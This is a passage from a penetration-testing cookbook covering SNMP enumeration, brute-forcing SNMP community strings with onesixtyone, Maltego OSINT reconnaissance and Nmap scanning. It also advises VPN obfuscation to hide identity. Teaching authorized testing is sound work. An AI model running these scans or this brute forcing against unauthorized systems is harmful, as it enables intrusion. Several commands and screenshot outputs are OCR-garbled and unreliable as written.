default community strings (such as public or private), you may be able to extract a wealth of

information with no or minimal exposure.

Getting ready

You need the following to complete this recipe:

e Kali VM up and running

e VPN or other obfuscation methods

How to do it...

1. Ensure that your VPN or other obfuscation methods protect your identity, as we will

directly scan hosts.
2. InKali, open a terminal window.

3. Weneed to identify the IP address for the SNMP test site. Type the following:

ping demo.pysnmp.com

It currently resolves to 128.203.82.143.

4. Torun an SNMP vl check on the host using the public community string, enter the fol-

lowing:

snmp-check -c public 128.203.82.143

The output shows two interfaces: 1o and eth@. It further provides us with the MAC address,
MTU size, and traffic statistics.
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public 128.203.82.143
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (ww.nothink.org)
[+] Try to connect to 128.203.82.143:161 using SNMPv1 and community 'public’
[*] System information:
Host IP address : 128.203.82.143
Hostname : UNKNOWN
Description : #SNMP Agent on .NET Standard
Contact : UNKNOWN
Location 8 =
Uptime snmp -
Uptime system : 10 days, 14:19:53.49
System date : -
[*] Network interfaces:
Interface :[up 1 lo
Id 1
Mac Address : 00:00:00:00:00:00
: softwareloopback
: 4294 Mbps
: 65536
3 0
Out octets : 0
Interface B up 1 eth@
Id =2
Mac Address : e2:14:57:04:ad:65
Type : ethernet-csmacd
Speed : 1410 Mbps
MTU : 1500
In octets : 14953061
Out octets : 27534147
Figure 3.25 - snmp-check v1
5. Runthe same command but use SNMP v2 this time, as shown here:
snmp-check -v2c -c public 128.203.82.143
This shows the same information along with some additional information. One of the
important aspects of SNMP v2 is its use of 64-bit counters over 32-bit counters, making
it much more applicable to today’s higher-speed networks.
Tip
Y The standard SNMP strings used are public for read-only and private for
read-write. Although this is against all best practices, you will be surprised
at the number of devices you can still find using these community strings.
6. Ifyouknow SNMP is operational on the target, but public or privateis not working, you

can try brute-forcing the password using a password list. However, remember that this

can potentially expose your intent. Type the following command:

onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 128.203.82.143
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The output shows that the command found public as a valid password:

¢ /usr/share/doc/onesixtyone/dict.txt 1:

Scannin l.t.u.)sts, 50 communities
128.203.82.143 [public] #SNMP Agent on .NET Standard

Figure 3.26 - onesixtyone

Tip
N ! / . . . .
—@— There are various dictionary files available on the web that you can use to
4

brute-force the password. The one provided with onesixtyone is very lim-

ited and is good for testing purposes only.

7.  You can now close the terminal window.

How it works...

snmp-check collects various data from standard management information base (MIB) objects,
such as system descriptions, network configurations, running services, and installed software

details, depending on the permissions and MIB objects supported by the target.

onesixtyone is an SNMP scanner that uses a dictionary-based brute-force approach to determine
valid community strings against a target device. When given an IP address or hostname, it reads
through alist of potential community strings provided by the user (often contained in a dictionary

file) and sends SNMP queries using each one in quick succession.

See also...

More information on snmp-check can be found at https://www.kali.org/tools/snmpcheck/,

and information on onesixtyone can be found athttps://www.kali.org/tools/onesixtyone/.

Setting up Maltego CE

In this recipe, you will learn how to do the initial setup for Maltego Community Edition (CE), a
tool designed for information gathering during the reconnaissance phase of a penetration test.
Maltego CE enables you to map relationships between people, organizations, infrastructure,
domains, and other entities, providing valuable insights into your target’s digital footprint. Its
intuitive interface and extensive library of transforms (scripts that pull data from various sources)

make it an indispensable tool for gathering and visualizing open source intelligence (OSINT).


https://www.kali.org/tools/snmpcheck/
https://www.kali.org/tools/onesixtyone/
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By the end of this setup process, you’ll have Maltego CE configured for use, ready to perform your

first transforms. The setup includes creating a Maltego account, setting up API keys for certain

transforms, if applicable, and familiarizing yourself with its workspace.

Getting ready

You need the Kali VM up and running to complete this recipe.

How to do it...

1.

Select the Kali menu icon from the Kali VM and type maltego in the search box. Once

visible as an option, select Maltego to launch the app.

On the Welcome to Maltego screen, click on MALTEGO ID under ACTIVATION OPTIONS.

Welcome to Maltego

Welcome to Maltego!

L‘,Compare Plans Options Certificates

©® MALTEGO ID

an S
poraded to one of

Figure 3.27 - Maltego activation

You will be taken to the web registration site. Create a new user ID for Maltego and follow

the instructions to set up your account.
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\ Tip

\ 7/

/@\ While you may opt to maintain anonymity, registering with valid credentials

is also fine.

4. Once you have validated your account and set it up, close the web browser and return

to the Maltego Product Selection screen. There, select Login under Maltego CE (Free).
5. Inthe Configure Maltego dialog box, click Accept on the license agreement and select Next.
6. On the next screen, select Browser Login, which will launch your browser and connect
you to the Maltego site to log in.
7. From your web browser, log in to Maltego.
8. Onceloggedin,you should receive an Authentication Complete screen with a green tick.
Close the browser and return to the Maltego application. Once you return, you should

see a message that the browser login was successful with another green tick. Select Next.

Configure Maltego

STEPS

Browser login was successful

Have fun using Maltego!

Cancel

Figure 3.28 - Maltego login success
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10.

11.

12.
13.

14.

15.

16.

17.

18.

19.

On the next screen under Install Transforms from:, ensure that Standard Transforms

is checked and select Next.
From the Data Sources Complete entry, select Next.

In the Help Improve Maltego screen, you may decide whether you want to contribute by

automatically sending error reports and selecting Next.
In the Web Browser selection, choose <Default System Browser> and select Next.

On the Privacy Mode Options screen, carefully read the options presented, make your

selection, and click on Next.

Tip
N Remember that in previous recipes, we have talked about VPNs and other
A obfuscation techniques that you may wish to employ. These are still valid

with these options, so you may wish to use a VPN and select normal privacy

to protect your identity.

On the Ready screen, select Open a blank graph and let me play around, then select Finish
You may receive a Low Memory Allocation Detected error. Simply select OK.

Tip

\ 7/

|
/@\ If you have additional resources available, you may increase the memory

allocation to the VM and adjust it for Maltego.

You may receive a Privacy Policy Notice message. Please read it and click Acknowledge.
You may receive a Release Notes screen; select I Understand.

You will then see a button with Maltego Product Tour in the upper-right corner. Click on

it and complete the tour to familiarize yourself with some of the basics.

You may now close Maltego if you are done, or leave it open if you are moving to the

following recipe.
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There's more...

Maltego has paid versions as well as the free CE. As you move from learning about penetration
testing to being employed as a penetration tester, you may want to explore the advantages of
the paid version. While I do not use Maltego specifically, I do use a similar commercial tool
(purchased), and like Maltego, it provides tons of benefits. More information can be found here:

https://www.maltego.com/pricing/.

Understanding and configuring Maltego Transforms

In this recipe, you will learn how to use Maltego Transforms to obtain information about a target.
Transforms use a structured method that takes a data element (an entity) and queries various
data sources to retrieve information related to that entity, helping users quickly broaden their
understanding of an entity and reveal connections. They can query public databases, social me-
dia, DNS records, geolocation services, or proprietary internal data systems to gather additional
insights. Each transform uses known information, such as a domain name, email address, or IP,
to collectrelated data points, including links to other domains, associated email addresses, social

media accounts, geographical coordinates, or aliases.

Getting ready

You need the following to complete this recipe:

e  Kali VM up and running

e  Maltego CE interface set up

How to do it...

1. In the Maltego interface, open Transforms Hub by clicking on Transforms in the top
menu. Then, select Hub.
2. Transforms Hub has a variety of options. Let’s see which transforms are free. In the FIL-

TER section, select ALL under Access Options and Maltego Community under Plans.


https://www.maltego.com/pricing/
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Maltego Data Hub

Maltego

FILTER [RESET] Q

Access Options Data Categories

[m] ALl [ AL others

» Maltego Connectors (Bring Your Own Key) Breaches & Leaks Personal Identifiers

Maltego Data Pass Company Data Phishing

Cryptocurrency Recon
Deep and Dark Web Social Media
Endpoint & Security Events TTPs
Infrastructure & Network Information Vulnerabilities
Malware Web & Image Content

MALTEGO DATA HUB PARTNERS  54/63 shown

alphaMountain Farsight DNSDB Scamadviser
by alphaMountain. ai by Farsight Security, Inc by Maltego Technologies
Host/IPJURL risk and categorization Query the largest DNS Intelligence Identify if 8 website or webshop is
database, 100+ Billion records fraudulent, infected with malware, or
Figure 3.29 - Maltego Transforms Hub
3. Under TRANSFORM HUB PARTNERS, add VirusTotal by hovering over it and selecting

INSTALL.

MALTEGO DATA HUB PARTNERS

alphaMountain
by alphaMountain. ai

HostfIFJURL risk and categorization

54/63 shown

Farsight DNSDB
by Farsight Security, Inc

Query the largest DNS Intelligence
database, 100+ Billion records.

VirusTotal (Public API)
by Maltego Technologies

Query the VirusTotal Public API for hashes,
IP addresses, domains and more.

OpencCTI
by ANSS| & Maltego

§

from OpenCTI
[DETAILS]

[INSTALL]

hunter

L o

Hunter is the leading selution to find and

verify email addresses

by Maltego Technologies

ThreatCrowd
by ThreatCrowd

"o

DNS and histerical Whois data.

Figure 3.30 - VirusTotal Transform

Query and explore threat intelligence data

Query ThreatCrowd for Malware, Passive
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4. When asked if you are sure you want to install VirusTotal, select Yes.

5. Youwill need to register for an account with VirusTotal. Once registered, get your API key
by selecting API Key from the dropdown in your profile name. Copy it to your clipboard

using the copy icon.

2]

API KEY

dentiality. By subm a using yor e Terms of S yN ) the sharing of your Sample submis

security communit; missions. Learn more

API QUOTA ALLOWANCES FOR YOUR USER

Must not be used in business workflows, commercial products g
or services.

AP1 reference Python client Golang library C e

000

mium Use in brawser DI Other services

Want to upgrade your access? P

extra mile to make you st ul.

Figure 3.31 - VirusTotal, getting the API key

6. Enteryour APIkey for VirusTotal in the VirusTotal (Public API) dialog box and select OK.

7. This will begin the download process for VirusTotal. Once done, select Next in the in-

stallation window.
8. Follow the remaining prompts to finish the installation.

9. Once theinstallation is complete, you will notice that VirusTotal now appears gray in the
TRANSFORM HUB PARTNERS section, indicating that it’s installed.
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MALTEGO DATA HUB PARTNERS

alphaMountain
by alphaMountain. ai

Host/IP/URL risk and categorization

VirusTotal (Public API1)
by Maltego Technologies

Query the virusTotal Public API for hashes,

IP addresses, domains and more.

hunter
‘ by Maltego Technologies

Hunter is the leading solution to find and

54/63 shown

Farsight DNSDB
by Farsight Security, Inc

Query the largest DNS Intelligence
database, 100+ Billion records.

OpenCTI
by ANSS| & Maltego

Query and explore threat intelligence data
from OpenCTI

ThreatCrowd
by ThreatCrowd

Query ThreatCrowd for Malware, Passive

verify email addresses DNS and historical Whois data.

Figure 3.32 - VirusTotal installed, as shown by it being gray

10. Continue going through the transforms and install as many as you can. Not all transforms
will require accounts or API keys. Ensure that you install Shodan, as we created the ac-

count using an earlier recipe.

11. Youmay close Maltego if you are done, or leave it open if you move to the following recipe.

How it works...

Transforms serve as essential components of Maltego’s visual link analysis framework. By con-
necting multiple transforms, users can transition from a single data point to an entire web of
interconnected entities without having to do a tedious series of manual checks. They can explore
intricate datasets, expedite investigations, and find patterns or relationships. Whether employed
for cybersecurity threat analysis, fraud detection, or competitive research, transforms provide

insights by seamlessly correlating and visualizing data on one platform.

There's more...

Some transforms require a subscription. We solely used the free Community Edition and only the
no-costtransforms. However, please look at the features and capabilities of some paid transforms
that may be better at enriching the data or providing a unique data point. More information can

be found at https://www.maltego.com/transform-hub/.


https://www.maltego.com/transform-hub/
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Initiating a scan with Maltego

In this recipe, you will learn how to use Maltego to streamline and automate many of the recon-
naissance steps covered in previous recipes, including network and domain enumeration, whois,
and asn discovery. Maltego is a powerful OSINT tool that allows testers to gather and visualize a
broad range of information about the target. You can quickly map out the target’s digital footprint

and identify relationships between domains, infrastructure, and entities, all from a single interface.

Getting ready

You need the following to complete this recipe:

e  Kali VM up and running
e VPN or other obfuscation methods

e  Maltego CE interface up

How to do it...
1. Go to the Maltego interface. Create a new graph by selecting Investigate from the top
menu and then the New button. This will open a blank graph.

Maltego Graph (Desktop) 4.10.1

import | Export

Find Files

Entity Palette

- Cryptocurrency

n Cash Address

Bitcoin Cash Block
na

coin Cash Transac
in a

Bitcoin Block

Figure 3.33 - Maltego new graph
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Tip
Think of a graph as a new investigation. You may separate portions of your

pen test into different graphs to make understanding them and following

the flow more manageable. You would never combine different pen tests

into a single graph.

2.  We will start our investigation with a known website. Under Entity Palette on the left,

type web into the search box. Drag the Website entity onto your blank graph.

<] Maltego Graph (Desktop) 4.10.1

Entities

M s
Q@
[ Normal v CHIPE RPN

Find  Files

Entity Palette X New Graph (1) * X
rch: web
— +Recently Used *
w.

— Infrastructure

= Tracking Code

Re,

Website
An WWW

&

www.maltege.com

Run View

+ 4 Transforms

Figure 3.34 - Maltego website

3. Clickin the center on the entity to change the website to your target. For our example, we
will use www.myspace. com.

4. Once done, you can now choose how to enrich your entity. Right-click on the entity, and
you will see a list of transforms to run. In the search box, type to ip and select To IP

Address [DNS].

Wwww
HH

WWW. MYSH
Run Transforms

[utilities] To IP Address [DNS]

[Utilities] To IP Addresses [within Properties]

SNORKD 0@

Figure 3.35 - Transform to IP
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5. This will then resolve to an IP address as shown here:

Lo

Www.myspace.com

[Utilities] To IP Address [DNS]

e

34.111.176.156
Figure 3.36 - IP address added to the graph

6. Right-click on the IP address and type to netin the search box. Then, select To Netblock
[using whois info]. The netblock will now be added to your graph.

7. Let’s perform one more enrichment and get the BGP ASN for the IP address. Right-click on
the IP address again and in the search box, type to as and select To AS Number (Passive
DNS) [OTX].

You will now see the ASN associated with the IP address added to your graph.

L]

www.myspace.com

e

34.111.176.156
/ \
To AS Number [VirusTotal Public API] / “\\[Utilities] To Netblock [using whois info]
v’/‘ ‘\\\
| 4 A
396982 34.64.0.0-34.127.255.255

Figure 3.37 - ASN added to the graph

8. Continuelooking around and enriching the various data points. Once complete, you may

close Maltego and choose whether or not you would like to name and save the graph.
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How it works...

Every piece of information, whether input by the user or uncovered through Maltego’s auto-
mated transforms, becomes an artifact, a building block in the process. This artifact can then be
enriched with further data points, correlating it with related domains, IP addresses, social media
accounts, documents, and so on. The continuous cycle of enrichment transforms a single clue into
arobust, interconnected web of intelligence, enabling investigators to draw meaningful insights
and identify patterns that may prove useful. These could be companies or software packages they
use, email address information, and social media accounts. The type of information that can be
extracted is endless, but it all provides you with additional information that can be later used
when actively targeting the user or system that might otherwise remain hidden. By automating
this process, Maltego dramatically reduces the time and manual effort required to expand a single
data pointinto a complete, context-rich perspective. Hours of manual research and verification can

be completed in minutes, streamlining the workflow and freeing testers to focus on other aspects.

There's more...
The Maltego blog has a tremendous amount of case studies and white papers. They also have a
great community. Spend some time looking through the case studies to learn about the power

of Maltego at https://www.maltego.com/blog/.

Get This Book’'s PDF Version and
Exclusive Extras E
=

Scan the QR code (or go to packtpub.com/unlock). Search for this

book by name, confirm the edition, and then follow the steps on

the page.

Note: Keep your invoice handy. Purchases made directly from Packt

don’t require one.
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Nmap Mastery — Scanning with
Precision

This chapter introduces Nmap, a powerful and popular tool essential for penetration testers and
cybersecurity experts. You will learn how Nmap maps an entire network, discovering critical
information such as connected devices, their operating systems, and the open services and ports.
More than just a basic scanner, Nmap offers insights into your target’s topology and security

status, providing you with information to target them more effectively.

This chapter will guide you through everything from installing Nmap and understanding its
syntax to utilizing advanced scanning techniques. You will learn how to interpret the detailed
output generated by Nmap, turning raw scan results into actionable intelligence. Throughout the
chapter, we’ll discuss strategies for customizing scans to enhance speed, stealth, and precision,

along with tips for integrating Nmap into your routine workflows.
The following recipes will be covered in this chapter:

e  Setting up Nmap

e  Performing host discovery

e  Performing port scanning

e  Performing service and version discovery

e  Operating system fingerprinting

e  Performing hardware and device type fingerprinting
e  Conducting the most common Nmap scan

e Implementing detection and evasion techniques

e  Understanding script engine fundamentals
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Technical requirements

All the recipes in this chapter can be conducted within the VirtualBox environment and originate
from the Kali VM.

Setting up Nmap
In this recipe, we’ll guide you through confirming your Nmap installation in Kali. You will also
learn about the basic configuration to leverage Nmap’s robust command-line interface fully. By

the end of this recipe, you’ll have everything set up to start performing efficient scan analyses.

Getting ready

You need the Kali VM on and logged in to complete this recipe.

How to do it...
1. From within the Kali VM, open a terminal window.

2. To verify that Nmap is installed, run the following command:

nmap --version

3. From the output, you can see that Nmap is installed and the version is 7.945VN.

-] kali@kali: ~

Session Actions Edit View Help

3 libssh2-1.11.1 1ibz-1.3.1 libpcre2-10.46 libpcap-1

ngines: epoll poll select

Figure 4.1 - Nmap version

4. If Nmap is not installed, it may ask you to install it automatically, or you can run the

following command to install it manually:

sudo apt update && sudo apt install nmap -y
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5. A standard optimization is to increase the number of sockets that are open. To see the

current limit, enter the following:

6. From the output shown in the following figure, you will see that the current limitis 1024:

Figure 4.2 - ulimit before change

7. Toincrease the limit, enter the following command:

ulimit -n 8192

\ Tip

N\ 7/

/@\ This command is for the current session only and must be entered at the

start of any new session.

8. We can verify that the new limit is set with this command:

The output will be as shown here:

kali@ kali: ~

Session Actions Edit View Help

Figure 4.3 - ulimit change
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9. Another optimization you can implement is adding aliases to run scans more easily and
quickly with preset parameters. From the terminal window, open an editor and modify
the .zshrc file as shown here:

10. Scroll to the end of the file and enter the alias command:

# nmap aliases

alias nmapf='nmap -A -T4 -Pn'

Tip
Let’s break down the command-line options:

e -A:Detects the OS

e  -T4: Sets the timing template (higher is faster)

e -Pn:Treats all hosts as online

The output will be as shown here:

. fusr/sh

ZSH_AUTOS

‘zsh_command_not_found ];
h_command_not_found

alias nmapf="nmap -A -T& -Pn'J]

i write Out
i Read File

Figure 4.4 - Nano alias entry
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\ Tip

\ 7/

_/@\_ The first command with the hash is nothing more than a heading to provide

clarification or documentation in the file as to what we are doing.

11. To exit the file, press Ctrl + X. When asked to save, press Y.

How it works...

Nmap requires little configuration, but a few things, such as running with the proper privileges and

picking the right scans, should be done to ensure optimal scanning and make it a more helpful tool.

There's more...

Once you begin learning the Nmap syntax, adding additional aliases will help you quickly recall

your favorite and most useful scans.

Performing host discovery

Identifying which systems are active on your network is a critical first step in any reconnaissance
or security audit. This recipe will demonstrate how Nmap’s host discovery capabilities can be
used to quickly determine which hosts are up and responsive. We’ll explore various discovery

techniques that can be used.

Getting ready

You need the following to complete this recipe:

e TheKali VM needs to be turned on with you logged in to it.

e  Turnon as many of the VMs you added as your host device has resources for. Alternatively,
if you are on a home network or a network you are authorized to run scans against, you

may use that as your scan destination.
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How to do it...

1. Open up the Kali VM terminal window.

2. Torun abasic ping scan against our guest VM network, enter the following command:

nmap -sn 192.168.92.0/24

From the output shown in Figure 4.5, you can see that the scan found 256 IP addresses,

discovered 7 hosts responding, and provided some information about each host. Unfor-

tunately, since each host is a VM, the information reflects Oracle VirtualBox.

kali@kali: ~

Session Actions Edit View

stemtechnik/Oracle VirtualBox wirtual NIC)

s

is up

es5s

report for 192.
Host is up.
Nmap done:

256 IP addresses (4 hosts up)

stemtechnik/Oracle Virtual

virtual NIC)

stemtechnik/Oracle VirtualBox virtual NIC)

scanned in 2.

Figure 4.5 - Nmap basic scan

3. Running the same scan against an internal IoT network provides more actionable infor-

mation about each host, as shown in Figure 4.6:

Nmap scan report for 172.31.50.

Host is up (0.00089s latency).
MAC Address: 40:2E:71:F8:A8:8E
Nmap scan report for 172
Host is up (0.00084s latency).
MAC Address: 54:E0:19:6B:0A:BA

Nmap scan report for 172.31.50.

Host is up (0.00055s latency).
MAC Address: 44:61 H

Host is up (0.0010s latency).
MAC Address: 44:61:32:DA: 70

S

172

(Texas Instruments)
176

(Ring)
180

(ecobee)

.181

(ecobee)

Figure 4.6 - Nmap scan loT network
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4. To run an Nmap scan requesting an ICMP ping only, you can add -PE to your previous

scan, as shown here:

nmap -sn -PE 192.168.92.0/24

This is useful if you want to see whether the hosts respond to basic ping requests.
The output provides a similar result:

3 root@kali: /home/fkali
Session Actions Edit View Help

/home/kali
192.168

34

Nmap sca

Host is up ( .

MAC Address: @ 1 [ mtechnik/Oracle VirtualBox wvirtual NIC)
Nmap scan report for

Host is up ( 3

MAC Address: & ( temtechnik/Oracle VirtualBox virtual NIC)
Nmap scan T

Host is up ( .

MAC Address: @8:80:27:00:0 ( e VirtualBox virtual NIC)
Nmap scan repor

Host is uwp.

Nmap done: 256 IP addresses (! up) scanned in @4 seconds

/home/kali

Figure 4.7 - Nmap ping scan

5. Running an ARP scan is another useful alternative to try and find which hosts are active.

Use -PR, as follows:

nmap -sn -PR 192.168.92.0/24
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Again, note the similar results from the output:

Session Actions Edit View Help

Host is up

MAC Address: = BD:45: (P( emte ik/ le VirtualBox virtual NIC)
Nmap scan r

Host is up (¢

MAC Address: 08 =4 = (PCS S f VirtualBox virtual NIC)

Nmap scan r

Host is G

MAC Add E | ystemte ik/ e VirtualBox virtual NIC)
Nmap sc

Host is

Nmap done: 256 IP addresses (! ) ] 2 seconds

/home/kali

Figure 4.8 - Nmap ARP scan

6. There are two other very useful modifiers: one is a TCP SYN ping, and the other is a TCP
ACK ping. For the SYN ping, use -PS with a port list, and for the ACK ping, use -PA with a

portlist. An example is shown here:

nmap -sn -PS22,23,80,443 192.168.92.0/24

\ Tip

_/@\_ These two scans can be handy when there is a firewall between you and the

7/

network you are trying to scan



Chapter 4 141

Again, the output obtained will be similar:

0

Session Actions Edit View Help

1i

11 EDT
an

Host is up (@

MAC Address:

Nmap scan report fo

Host is up (0.«

MAC Address:

Nmap scan repor

Host is up (0.00

MAC Address: ySte ik/ tualBox tual NIC)

Nmap scan report for

Host is up.

Nmap done: 256

[ =

emtechnik/0 : ualBox tual NIC)

™o

echnik/0Oracle rtualBox tual NIC)

[ury

/home/kali

Figure 4.9 - Nmap SYN scan

7. Youmay now close the terminal window.

How it works...

We are using a succession of varying scans; in this case, very little information changed from scan
to scan as we are operating with our lab network. However, in a real environment, these scans
could show drastically different information based on the types of devices and what’s between

your host and the devices.

There’s more...

Host discovery is the first step in understanding accessible targets on a network. It may prove
beneficial to run scans at varying points throughout a day or week, which could provide you with
insight into individual work hours or other information. Further information on host discovery

can be found here: https://nmap.org/book/man-host-discovery.html.

Performing port scanning

Once you know which hosts are online, it’s time to find out what services and applications they’re
running, and that begins with port scanning. In this recipe, we’ll cover Nmap’s broad range of
scanning techniques. We’ll show you how to choose the right approach for your specific environ-

ment, read the results effectively, and draw meaningful information about a target.


https://nmap.org/book/man-host-discovery.html
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Getting ready

You need the following to complete this recipe:

e The Kali VM needs to be on with you logged in to it.
e Turn on as many of the other VMs that you added as your host device has resources for.
Alternatively, if you are on a home network or a network you are authorized to run scans

against, you may use that as your scan destination.

How to do it...

1. Launch the Kali VM terminal window. To search for a specific port, we use -p (port number
orrange) in our scan. For this example, we will search to see how many devices have port

22 (SSH) open. Run the following command:

ap 22 192.168.92.

In the output in Figure 4.9, you can see all the hosts that are active and which of those

have SSH open:

Session Actions Edit View Help

/home/kali
192.168.92.¢

MAC Address: @ = CS Systemtechnik/Oracle alBox wirtual NIC)

Nmap scan report for 1
Host is up Lis

STATE
tcp open
Address: @ ( ystemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.16
Host is up (€ @865 1:

PORT STATE SERVICE
tcp open ssh
MAL Address: & 100 ( emtechnik/Ora rirtual NIC)

Nmap scan report for 192
Host is up (@.00011s latency).

ATE SERVICE
osed ssh

Nmap done: 256 IP addresses (4 hosts up) scanned in 2.15 seconds

/home/kali

Figure 4.10 - SSH port scan
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2. To scan arange of ports on a specific host, use the following command:

nmap -p 1-1024 192.168.92.7

\ Tip
\

_/@\_ In the example, 192.168.56.108 is the IP address of one of the VMs we

7/

initially set up.

The output shows which ports are listening and what that service is generally used for:

/home/kali

Host is up (

Not shown: 1@
STATE
open

(5 =

u
[

[« )]
(=

rtualBox v

/home/kali

Figure 4.11 - Scan for well-known ports

Tip

Ports lower than 1024 are privileged ports, often called well-known ports,

and frequently have critical host services running on them.

Nmap has alist of top ports that are accessible, and it ranks them in order of importance/

popularity. To perform a scan of these ports, we use the --top-ports switch.
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3.

4.

5.

For this example, we will scan the top 100 ports; use the following command:

a p-p s 100 192.168.92.7

The output in Figure 4.11 shows the top open ports, and as you can see, they are in a large

swath of the available port range:

Session Actions Edit View Help

/home/kali
100 19

s 1

7 closed t
STATE SERVIC
open ftp
open ssh
open smtp
open http
open netbios-ssn
open https
open microsoft-ds
open login
open
open
open
open
open

MAC Address: g [ chnik/0Ora VirtualBox v

Nmap done: 1 IP address ( ) scanned in ©0.18 seconds

/home/kali

Figure 4.12 - Scan for top ports

If you want to scan the top 1,000 ports of a host, just use the following command:

nmap 192.168.92.7

If you want to scan all the ports of a host, just use the following command:

nmap -p- 192.168.92.7

| T 1
R

S The valid port range is from 1 to 65535.
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You will see the output of all the open ports as shown in Figure 4.12.

Session Actions

Edit View Help

- [~]

p -p- 192.168.92.7

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-27 11:41 IST
Nmap scan report for 192.168.92.7

Host is up (0.0017s latency).

Not shown: 65516 closed tcp ports (reset)

PORT
21/tcp
22/tcp
25/tcp
80/tcp
139/tcp
443/tcp
445/tcp
512/tcp
513/tcp
514/tcp
666/tcp
3306/tcp
3632/tcp
5901/tcp
6001/tcp
8080/tcp
8443/tcp
9080/tcp
9443/tcp

Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds

6. Youmay now close the terminal window.

STATE
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

How it works...

SERVICE

ftp

ssh

smtp

http
netbios-ssn
https
microsoft-ds
exec

login

shell

doom

mysql
distced
vnc-1

X11:1
http-proxy
https-alt
glrpc

tungsten-https
MAC Address: 08:00:27:00:08:89 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Figure 4.13 - Port scan for all open ports

Nmap determines port states by sending different kinds of packets, SYN, TCP connect, UDP, NULL,

FIN, and more. SYN-ACK indicates open, and RST indicates closed, and no response or an ICMP error

means filtered. Running as root unlocks raw packet scans for stealth, while unprivileged users

fall back to TCP connect scans (-sT). Pick your scan based on the target environment: stealthy,

rate-limited probes evade IDSs/IPSs, whereas full-blast scans (-sT and -sU) may set off alarms.
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Beyond open/closed, Nmap can probe services (-sV) and OS kernels (-0) by sending protocol-spe-
cific probes and match replies against its signature database. Finally, it can correlate ports and

version strings with possible exploits for future targeting.

See also...
You can get more information on ports and how they work at the following sites:

e https://en.wikipedia.org/wiki/Port_(computer_networking)

. https://www.bleepingcomputer.com/tutorials/tcp-and-udp-ports-explained/

Performing service and version discovery

In this recipe, you will learn how to find out what services are running on your discovered hosts.
We'll use Nmap’s service and version detection features to reveal the software behind each open
port, offering insight into those services’ roles and potential vulnerabilities. By the end, you'll be
equipped to differentiate between a simple HTTP service and a custom web application, uncov-

ering information that aids in effectively simulating an attack on the hosts.

Getting ready

You need the following to complete this recipe:

e  TheKali VM needs to be on with you logged in to it.

e Turn on as many of the other VMs that you added as your host device has resources for.
Alternatively, if you are on a home network or a network you are authorized to run scans

against, you may use that as your scan destination.

How to do it...
1.  Open up the Kali VM terminal window.

2. Torun basic service and version detection, we use the -sV switch. Run the following:

nmap -sV 192.168.92.7

Examining the output in Figure 4.13, we see many details about what runs on each port.
You can see that we have both Apache and nginx running on different ports. You not only
see the package information of the running service, but also the version and patch levels,

along with additional information when fingerprints match:


https://en.wikipedia.org/wiki/Port_(computer_networking)
https://www.bleepingcomputer.com/tutorials/tcp-and-udp-ports-explained/

https://en.wikipedia.org/wiki/Port_(computer_networking)
https://www.bleepingcomputer.com/tutorials/tcp-and-udp-ports-explained/
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root@kali: /home/kali

Session Actions Edit View Help

Host is up (

Not shown: 9
STATE
open
open
open
upen
open
open
open
open
open
open
open
open
open
open
open
open

tcp ports

Apache httpd (( ) i/2.4.6 PHP/5.:
Sdim Smoa X
Apache httpd i/2.4.6 PHP/S
Sam smbd

tkit-rsh

returnin / e se submit th
Tim

Figure 4.14 - Service and version discovery

3. Take note of the last line of the output, which tells you how long the detection took:

Unix, Linu>

ormed. Please report any incor
address (1 host up) scanned in 151.96

/home/kali

Figure 4.15 - Service and version discovery time

4. Now, we will perform the same scan, but we will tell Kali to be far more aggressive with the

scan and detection. Do this by using the -version-intensity 9 switch, as shown here:

nmap -sV --versi i .168.92.7
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6.

Tip
|
—@— The version intensity switch ranges from 1 to 9. The higher the intensity,

= the more probes are sent, which can increase the likelihood of a match but

also makes it easier to detect.

Examining the output in Figure 4.15, you will see similar information returned. How-
ever, note that more information was provided about the services that Nmap could not

determine.

root@kali: Jhomeflali

Session Actions Edit View Help

/home/kali

f you know_the on, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi

Figure 4.16 - Service and version discovery, aggressive

Lastly, take note of the time required to run this scan compared to the original one we

performed. You can see that this one took significantly longer.

/home/kali

Figure 4.17 - Service and version discovery aggressive time

You may now close the terminal window.
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How it works...

Nmap’s service discovery, also called version detection (-sV), works by sending probes to ports
and comparing the responses to known patterns in its service fingerprint database. Further, this
information can be used when evaluating potential attack surfaces and exploits. Understanding
the specific versions of a software package can help you target your attack and be more successful

with reduced effort.

See also...

More information on service and version detection can be found at https://nmap.org/book/

man-version-detection.html.

Performing operating system fingerprinting

This recipe will introduce you to Nmap’s OS fingerprinting capabilities, showing how it analyzes
subtle network signatures to guess the target’s operating system with remarkable accuracy. From
well-known distributions to outdated platforms, you’ll learn how to interpret fingerprinting

results to provide better-targeted attacks.

Getting ready

You need the following to complete this recipe:

e  TheKali VM needs to be on with you logged in to it.

e Turn on as many of the other VMs that you added as your host device has resources for.
Alternatively, if you are on a home network or a network you are authorized to run scans

against, you may use that as your scan destination.

How to do it...
1. Launch the Kali VM terminal window.

2. To start our first operating system scan, we are going to use the -0 switch. Enter the

following command:

nmap -0 192.168.92.7


https://nmap.org/book/man-version-detection.html
https://nmap.org/book/man-version-detection.html
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From the output, you can see the details for the operating system:

VirtualBox virtual NIC)

detection performed. Please report any incorrect results at https nmap.org/submit/
Nmap done: 1 IP address (1 host up) nned in 1 seconds

/home/kali

Figure 4.18 - OS detection

Tip

The scan requires open ports, and the more open ports that are available, the

better the detection and the higher the confidence of accuracy.

3. Runthe same command on the entire subnet:

nmap -0 192.168.92.0/24
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The output displays all the machines scanned:

open
open
open
open
open
open
open

(PCS_Svstemtechnik/Oracle VirtualRox wvirtual NTIC)

ndows_vista cpe:/o:microsoft:window:

Figure 4.19 - OS detection on the entire subnet

4. To have Nmap guess an unknown operating system, you can add the --osscan-guess
switch. This will increase the number of probes used, possibly opening you up to detection,

and still may not provide a result. Use the following:

nmap -0 --osscan-guess 192.168.92.0/24

5. Examine the output and the information provided regarding the operating system. There
will be limited new information because most VMs’ operating systems are easily deter-

mined:

05 CPE
windows

Figure 4.20 - OS detection with guess

Tip

If you have access to your home network, you may want to try rerunning

these scans against it to see the differences between the OS discovery.
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How it works...

Nmap’s operating system detection works by examining how a target responds to network probes

and comparing them to a database of known OS signatures.

See also...

